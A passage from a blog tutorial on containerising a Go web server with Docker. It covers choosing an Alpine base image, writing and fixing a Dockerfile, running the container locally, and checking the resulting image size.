        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ docker image inspect alpine --format<span style="color:#719e07">=</span><span style="color:#2aa198">&#39;{{.Size}}&#39;</span> | numfmt --to<span style="color:#719e07">=</span>iec-i
</span></span><span style="display:flex;"><span>5.4Mi</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>That&rsquo;s the base Linux image; we will use. We want the base image to be small. In particular, up to 100MB is acceptable, and larger images usually cause slow start times and other problems.</p>
<p>Also, it is a good idea to pin to a particular version (tag) of the image. You can see all the versions at   
    
    
<a href="https://hub.docker.com/_/alpine?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Docker Hub</a>. We will compile our code right inside the image, which will be used for running it to avoid portability issues.</p>
<p>Now, write the Dockerfile.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">6
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#586e75"># Pull the image and call it base</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> alpine:3.11 as base</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Copy the code</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> src /codebase/src
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Build the binary</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> <span style="color:#b58900">cd</span> /codebase <span style="color:#719e07">&amp;&amp;</span> go build -v -o bin/server src/*.go</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>To build it, we will use <code>docker build</code> command.</p>
<p>We will use Docker build kit since it&rsquo;s a new   
    
    
<a href="https://docs.docker.com/develop/develop-images/build_enhancements/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fancy way</a> of building docker images.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># -f specifies the Docker file</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># -t specifies the tag of the built image</span>
</span></span><span style="display:flex;"><span>$ <span style="color:#268bd2">DOCKER_BUILDKIT</span><span style="color:#719e07">=</span><span style="color:#2aa198">1</span> docker build -f Dockerfile -t my_hello_world_server
</span></span><span style="display:flex;"><span>. ... &gt; <span style="color:#719e07">[</span>3/3<span style="color:#719e07">]</span> RUN go build -v -o /codebase/bin/server src/*.go: <span style="color:#586e75">#6 0.282 /bin/sh: go: not found</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>The command failed. Oops, we forgot to install the Go build toolchain for building this. There are two ways to do this, either we can install Go build toolchain explicitly, or we can just an image someone else has built for us. Let&rsquo;s do the latter and change our Dockerfile to the following</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Dockerfile
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#586e75"># Pull the image and call it base</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">FROM</span><span style="color:#2aa198"> golang:1.13.7-alpine3.11</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Copy the code</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">COPY</span> src /codebase/src
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> ls /codebase/src/main.go
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Build the binary</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">RUN</span> <span style="color:#b58900">cd</span> /codebase &amp;amp;&amp;amp; go build -v -o /codebase/bin/server ./src/main.go
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Set the env which will be available at runtime</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">ENV</span> <span style="color:#268bd2">PORT</span><span style="color:#719e07">=</span><span style="color:#2aa198">8080</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75"># Specify the run command for the binary</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">CMD</span> [<span style="color:#2aa198">&#34;sh&#34;</span>, <span style="color:#2aa198">&#34;-c&#34;</span>, <span style="color:#2aa198">&#34;/codebase/bin/server&#34;</span>]</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now build it with</p>
<p><code>$ DOCKER_BUILDKIT=1 docker build -f Dockerfile -t my_hello_world_server</code></p>
<h2 id="run-the-container">Run the container</h2>
<p>Run the container using</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#586e75"># Run the container tagged my_hello_world_server with the name my_hello_world_server and forward the 8080 port to the container&#39;s 8080 port.</span>
</span></span><span style="display:flex;"><span>docker run --name my_hello_world_server -p 127.0.0.1:8080:8080 -it my_hello_world_server</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Check it out at   
    
    
<a href="http://localhost:8080/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">http://localhost:8080/</a></p>
<p>If you kill and try to start again, you will see <code>docker: Error response from daemon: Conflict. The container name &quot;/my_hello_world_server&quot; is already in use by container &quot;e22e524035e3d939e431c1672945f7f962daecaa1c6368bb66a8ec2e6d408cbc&quot;. You have to remove (or rename) that container to be able to reuse that name.</code> To deal with that just delete that name with <code>docker rm my_hello_world_server</code></p>
<p>Or run with</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker rm my_hello_world_server; docker run --name my_hello_world_server -p 127.0.0.1:8080:8080 -it my_hello_world_server</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>or as someone   
    
    
<a href="https://lobste.rs/s/2shdx5/docker_101_basic_web_server_displaying#c_wdcics?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pointed</a> out, start the container with &ndash;rm to remove it on the exit</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker run --rm --name my_hello_world_server -p 127.0.0.1:8080:8080 -it my_hello_world_server</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h2 id="optimizing-container-image-size">Optimizing Container Image Size</h2>
<p>There is one problem, though; our docker container image is big. Check its size with ``</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ docker image inspect my_hello_world_server --format<span style="color:#719e07">=</span><span style="color:#2aa198">&#39;{{.Size}}&#39;</span> | numfmt --to<span style="color:#719e07">=</span>iec-i 350Mi
</span></span><span style="display:flex;"><span>350Mi</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
